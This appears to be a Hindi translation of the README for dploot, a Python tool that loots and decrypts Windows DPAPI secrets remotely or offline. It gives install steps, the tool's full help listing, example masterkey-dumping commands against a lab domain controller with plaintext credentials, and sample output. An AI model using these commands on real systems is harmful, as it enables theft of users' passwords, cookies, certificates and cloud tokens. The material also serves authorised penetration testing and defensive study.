
Windows DPAPI रहस्यों को दूरस्थ रूप से या ऑफ़लाइन लूटें और डिक्रिप्ट करें, जिनमें मास्टरकी, क्रेडेंशियल, वॉल्ट, प्रमाणपत्र, ब्राउज़र डेटा और कैश्ड Azure टोकन शामिल हैं।
dploot, Harmj0y द्वारा C# में लिखे गए SharpDPAPI का Python पुनर्लेखन है, जो स्वयं gentilkiwi द्वारा Mimikatz से DPAPI का पोर्ट है। यह इन टूल्स के सभी DPAPI लॉजिक को लागू करता है, लेकिन इस बार यह Python इंटरप्रेटर के साथ और Linux वातावरण से उपयोग करने योग्य है।
यदि आप नहीं जानते कि DPAPI क्या है, तो यह पोस्ट देखें।
आप dploot को सीधे PyPI से pipx के साथ इंस्टॉल कर सकते हैं:
pipx install git+https://github.com/zblurx/dploot.git
या
pipx install dploot
Kali Linux पर, आप dploot को रिपॉज़िटरी से इंस्टॉल कर सकते हैं:
sudo apt install python3-dploot
dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
...
DPAPI looting in Python
positional arguments:
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
cng Dump users CNG files blob from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecng Dump system CNG files from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot v4.0.0+ रिमोट एक्सेस के लिए कई नेटवर्क प्रोटोकॉल का समर्थन करता है। आप --protocol <protocol_name> का उपयोग करके प्रोटोकॉल चुनते हैं। प्रत्येक प्रोटोकॉल की अलग-अलग क्षमताएँ और आवश्यकताएँ हैं:
WMI प्रोटोकॉल का उपयोग करने वाला उदाहरण:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
स्थानीय प्रोटोकॉल का उपयोग करने वाला उदाहरण (ऑफ़लाइन फ़ाइलसिस्टम):
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
कमांड समर्थन पर महत्वपूर्ण नोट्स:
backupkey केवल SMB प्रोटोकॉल के साथ काम करता है (इसके लिए डोमेन कंट्रोलर एक्सेस आवश्यक है)।--dpapi-system-key के साथ स्वयं लाना होगा।dploot smb, wmi, और mssql प्रोटोकॉल के लिए Kerberos के साथ प्रमाणीकरण कर सकता है। NTLM फ़ॉलबैक के साथ Kerberos सक्षम करने के लिए -k का उपयोग करें। यदि आप कैश्ड टिकट का उपयोग करना चाहते हैं, तो --use-kcache का उपयोग करें। AES कुंजी का उपयोग करने के लिए, --aesKey का उपयोग करें।
$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5
dploot का लक्ष्य Linux बॉक्स से DPAPI संबंधित लूट को सरल बनाना है। आप इस टूल का उपयोग कैसे करते हैं यह आपके एक्सेस स्तर और लक्ष्य कॉन्फ़िगरेशन पर निर्भर करता है।
डिफ़ॉल्ट प्रोटोकॉल SMB है। यह DPAPI लूटिंग के लिए सबसे सामान्य दृष्टिकोण है और मानक Windows फ़ाइल शेयरिंग के साथ काम करता है:
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys